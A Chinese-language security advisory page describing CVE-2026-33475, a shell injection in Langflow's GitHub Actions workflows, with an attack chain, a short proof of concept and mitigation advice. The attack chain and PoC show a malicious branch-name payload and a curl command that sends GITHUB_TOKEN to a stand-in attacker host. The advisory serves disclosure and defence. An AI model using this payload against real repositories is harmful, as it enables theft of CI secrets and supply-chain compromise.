IPBUF安全漏洞报告
English
CVE-2026-33475 CVSS 9.1 严重

CVE-2026-33475 Langflow远程Shell注入漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33475
漏洞类型
远程代码执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

RCEShell注入LangflowCI/CDGitHub Actions供应链攻击

漏洞概述

Langflow在1.9.0版本之前的GitHub Actions工作流中存在未认证的远程Shell注入漏洞。由于未对GitHub上下文变量(如分支名、PR标题)进行清理,攻击者可通过恶意分支名或PR标题注入任意Shell命令。利用该漏洞可导致CI机密(如GITHUB_TOKEN)泄露、基础设施被篡改或供应链遭受攻击。

技术细节

该漏洞源于Langflow仓库中多个GitHub Actions工作流文件(如deploy-docs-draft.yml等)的不安全编码。开发者直接在`run:`步骤中插值GitHub上下文变量(例如`${{ github.head_ref }}`),并将其拼接到Shell命令中执行。由于分支名和PR标题属于用户可控的不可信输入,直接插值未经过引号包裹或转义,导致Shell命令注入。当攻击者创建一个包含Shell元字符(如`&&`、`|`或`反引号`)的分支并提交Pull Request时,CI流程执行到相应步骤会将变量值替换为恶意命令,从而导致在CI运行环境中执行任意代码,进而窃取GITHUB_TOKEN等敏感信息。

攻击链分析

STEP 1
1. Fork仓库
攻击者Fork目标Langflow仓库到自己的账号下。
STEP 2
2. 创建恶意分支
创建一个新的分支,分支名称中包含Shell注入载荷(例如:`test && curl attacker.com`)。
STEP 3
3. 提交PR
使用该恶意分支向目标仓库的main分支发起Pull Request。
STEP 4
4. 触发CI/CD
GitHub Actions自动触发相关工作流,执行包含漏洞的`run:`步骤。
STEP 5
5. 执行注入命令
CI环境解析变量时,将分支名中的恶意命令拼接执行,导致GITHUB_TOKEN等机密信息回传给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Vulnerable Workflow Snippet steps: - name: Test run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" # Attack Scenario (Branch Name) # Branch name: "normal_name && curl https://attacker.com/exfil?token=$GITHUB_TOKEN" # When executed, the shell runs: # validate_branch_name "normal_name" # curl https://attacker.com/exfil?token=$GITHUB_TOKEN

影响范围

Langflow < 1.9.0

防御指南

临时缓解措施
建议立即审查`.github/workflows/`目录下的所有YAML文件,检查`run:`步骤中是否存在直接使用`${{ ... }}`插值用户输入的情况。应通过定义环境变量(如`env: VAR: ${{ inputs.val }}`)并在Shell脚本中引用(如`"$VAR"`)来缓解风险,直至升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表